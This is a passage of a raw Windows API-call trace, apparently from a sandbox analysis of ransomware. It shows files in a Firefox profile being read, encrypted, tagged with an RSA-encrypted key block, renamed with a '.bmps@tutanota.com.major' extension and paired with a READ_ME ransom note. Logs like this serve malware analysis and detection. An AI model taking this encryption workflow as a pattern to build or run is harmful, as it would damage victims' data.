lpFileSize=0x2e3f9b8*=13700) returned 1 [0239.407] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3584) returned 0x2f39028 [0239.407] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3584) returned 0x33f5018 [0239.407] ReadFile (in: hFile=0x1a48, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x3584, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x3584, lpOverlapped=0x0) returned 1 [0239.562] SetFilePointer (in: hFile=0x1a48, lDistanceToMove=-13700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.563] WriteFile (in: hFile=0x1a48, lpBuffer=0x33f5018*, nNumberOfBytesToWrite=0x3584, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3584, lpOverlapped=0x0) returned 1 [0239.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0239.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0239.563] SetFilePointer (in: hFile=0x1a48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3584 [0239.563] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0239.563] WriteFile (in: hFile=0x1a48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0239.563] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0239.563] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0239.563] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0239.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0239.563] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZVWQWn4xJGzgBTQrYIfIp7D72JkZCSOFylyAAp32TSHaotYnx2xvJ8lFpKd1smCD\n+nBdblo4TXlO01R7Jqeyx0PU40JeoYtZNp7hOZ2I5r3+C4kbRagjetPIJdo1Di/E\nG8X36oBNK2OfVkmDvrWyvVzdU8YWXinf5sczUV3jfG3WD6ipAnj3HasNqvaJ4mzm\nMVgM19EQmTupnPMxrdSw47kmG+tho78kAmOp/uszHYk7dXrL8CR+9aMgW/pgmr8K\nYlczLtDT+pQLY5Gad7hIFVtnWqzWjhonmOIHBBwgXhGsar+38Ca9kt73wfiSFYJB\njQLWRsH2eHJ8aCSZVzOBKw==\n", pcchString=0x2e3f9a8) returned 1 [0239.563] WriteFile (in: hFile=0x1a48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0239.564] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0239.564] WriteFile (in: hFile=0x1a48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0239.564] CloseHandle (hObject=0x1a48) returned 1 [0239.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0239.564] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0239.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66a5b8 | out: hHeap=0x570000) returned 1 [0239.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee66b8 | out: hHeap=0x570000) returned 1 [0239.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666938 | out: hHeap=0x570000) returned 1 [0239.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667628 | out: hHeap=0x570000) returned 1 [0239.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666ef8 [0239.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3c70 | out: hHeap=0x570000) returned 1 [0239.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666aa8 | out: hHeap=0x570000) returned 1 [0239.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee93d0 | out: hHeap=0x570000) returned 1 [0239.566] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34920 [0239.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0239.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0239.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0239.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0239.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6649e0 [0239.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0239.567] GetLastError () returned 0x0 [0239.567] SetLastError (dwErrCode=0x0) [0239.567] GetLastError () returned 0x0 [0239.567] SetLastError (dwErrCode=0x0) [0239.567] GetLastError () returned 0x0 [0239.568] SetLastError (dwErrCode=0x0) [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be948 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6640 [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34e60 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34e60 | out: hHeap=0x570000) returned 1 [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6640 | out: hHeap=0x570000) returned 1 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0239.568] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6649e0 | out: hHeap=0x570000) returned 1 [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0239.568] GetLastError () returned 0x0 [0239.568] SetLastError (dwErrCode=0x0) [0239.568] GetLastError () returned 0x0 [0239.568] SetLastError (dwErrCode=0x0) [0239.568] GetLastError () returned 0x0 [0239.568] SetLastError (dwErrCode=0x0) [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0239.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bec08 [0239.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec08 | out: hHeap=0x570000) returned 1 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67f8 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34e60 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34e60 | out: hHeap=0x570000) returned 1 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67f8 | out: hHeap=0x570000) returned 1 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0239.569] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="ArNCV1sMCcHDCRx9IKU0ag==.ico", cAlternateFileName="ARNCV1~1.ICO")) returned 1 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0239.569] GetLastError () returned 0x0 [0239.569] SetLastError (dwErrCode=0x0) [0239.569] GetLastError () returned 0x0 [0239.569] SetLastError (dwErrCode=0x0) [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0239.569] GetLastError () returned 0x0 [0239.569] SetLastError (dwErrCode=0x0) [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6597c8 [0239.569] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="CPgBJoau4sGMj94WzxVyBg==.ico", cAlternateFileName="CPGBJO~1.ICO")) returned 1 [0239.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0239.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0239.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0239.570] GetLastError () returned 0x0 [0239.570] SetLastError (dwErrCode=0x0) [0239.570] GetLastError () returned 0x0 [0239.570] SetLastError (dwErrCode=0x0) [0239.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0239.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0239.570] GetLastError () returned 0x0 [0239.570] SetLastError (dwErrCode=0x0) [0239.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6594e0 [0239.570] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="d+wy3CvuNcC3WVA6du1bZg==.ico", cAlternateFileName="D_WY3C~1.ICO")) returned 1 [0239.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0239.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0239.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0239.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0239.570] GetLastError () returned 0x0 [0239.570] SetLastError (dwErrCode=0x0) [0239.570] GetLastError () returned 0x0 [0239.570] SetLastError (dwErrCode=0x0) [0239.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0239.570] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0239.570] GetLastError () returned 0x0 [0239.570] SetLastError (dwErrCode=0x0) [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ca0 [0239.571] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="D8tmBHCfnHdW5LQ0G0tfjA==.ico", cAlternateFileName="D8TMBH~1.ICO")) returned 1 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0239.571] GetLastError () returned 0x0 [0239.571] SetLastError (dwErrCode=0x0) [0239.571] GetLastError () returned 0x0 [0239.571] SetLastError (dwErrCode=0x0) [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0239.571] GetLastError () returned 0x0 [0239.571] SetLastError (dwErrCode=0x0) [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6595d8 [0239.571] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1587, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="EwHNXIWqFLgqXSbz3gaSXQ==.ico", cAlternateFileName="EWHNXI~1.ICO")) returned 1 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0239.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0239.571] GetLastError () returned 0x0 [0239.572] SetLastError (dwErrCode=0x0) [0239.572] GetLastError () returned 0x0 [0239.572] SetLastError (dwErrCode=0x0) [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0239.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0239.572] GetLastError () returned 0x0 [0239.572] SetLastError (dwErrCode=0x0) [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6598c0 [0239.572] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="q2iyO6SZoS7rh3SnwLJY8w==.ico", cAlternateFileName="Q2IYO6~1.ICO")) returned 1 [0239.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0239.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0239.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0239.572] GetLastError () returned 0x0 [0239.572] SetLastError (dwErrCode=0x0) [0239.572] GetLastError () returned 0x0 [0239.572] SetLastError (dwErrCode=0x0) [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0239.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0239.572] GetLastError () returned 0x0 [0239.572] SetLastError (dwErrCode=0x0) [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.572] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6599b8 [0239.572] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48887c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b48887c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0239.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0239.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0239.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0239.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0239.573] GetLastError () returned 0x0 [0239.573] SetLastError (dwErrCode=0x0) [0239.573] GetLastError () returned 0x0 [0239.573] SetLastError (dwErrCode=0x0) [0239.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0239.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0239.573] GetLastError () returned 0x0 [0239.573] SetLastError (dwErrCode=0x0) [0239.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67a8 [0239.573] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67a8 | out: hHeap=0x570000) returned 1 [0239.573] FindNextFileW (in: hFindFile=0x2f34920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48887c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b48887c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0239.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0239.573] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65c8 [0239.573] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0239.573] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico", dwFileAttributes=0x80) returned 1 [0239.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6592f0 [0239.574] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5cdc70 [0239.574] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6592f0 | out: hHeap=0x570000) returned 1 [0239.574] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\q2iyO6SZoS7rh3SnwLJY8w==.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\q2iyo6szos7rh3snwljy8w==.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a4c [0239.574] GetFileSizeEx (in: 